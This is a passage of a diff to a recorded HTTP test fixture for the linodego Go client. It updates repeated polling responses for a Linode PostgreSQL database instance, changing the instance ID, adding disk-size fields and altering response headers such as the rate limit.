no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:30:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14261,7 +16994,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14277,18 +17010,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14301,16 +17034,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:30:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14326,7 +17062,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14342,18 +17078,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14366,16 +17102,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:30:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14391,7 +17130,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14407,18 +17146,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14431,16 +17170,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:31:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14456,7 +17198,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14472,18 +17214,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14496,16 +17238,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:31:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14521,7 +17266,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14537,18 +17282,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14561,16 +17306,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:31:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14586,7 +17334,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14602,18 +17350,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14626,16 +17374,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:31:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14651,7 +17402,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14667,18 +17418,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14691,16 +17442,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:32:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14716,7 +17470,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14732,18 +17486,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14756,16 +17510,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:32:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14781,7 +17538,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14797,18 +17554,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14821,16 +17578,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:32:43 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14846,7 +17606,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14862,18 +17622,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14886,16 +17646,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:32:58 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14911,7 +17674,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14927,18 +17690,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -14951,16 +17714,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:33:13 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -14976,7 +17742,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -14992,18 +17758,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15016,16 +17782,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "689" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 20:33:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15041,7 +17810,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15057,18 +17826,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28228 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133403 method: GET response: - body: '{"id": 28228, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", + body: '{"id": 133403, "label": "go-postgres-testing-def-updated", "type": "g6-nanode-1", "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28228-11378-pgsql-primary.servers.linodedb.net", - "secondary": "lin-28228-11378-pgsql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "asynch", "replication_commit_type": - "local", "port": 5432, "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": - 8, "day_of_week": 3, "week_of_month": 3}, "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05"}' + "port": 5432, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133403-103239-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133403-103239-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 1, "members": {}, "ssl_connection": false, "replication_type": + "asynch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}, "replication_commit_type": "local"}' headers: Access-Control-Allow-Credentials: - "true" @@ -15081,16 +17850,19 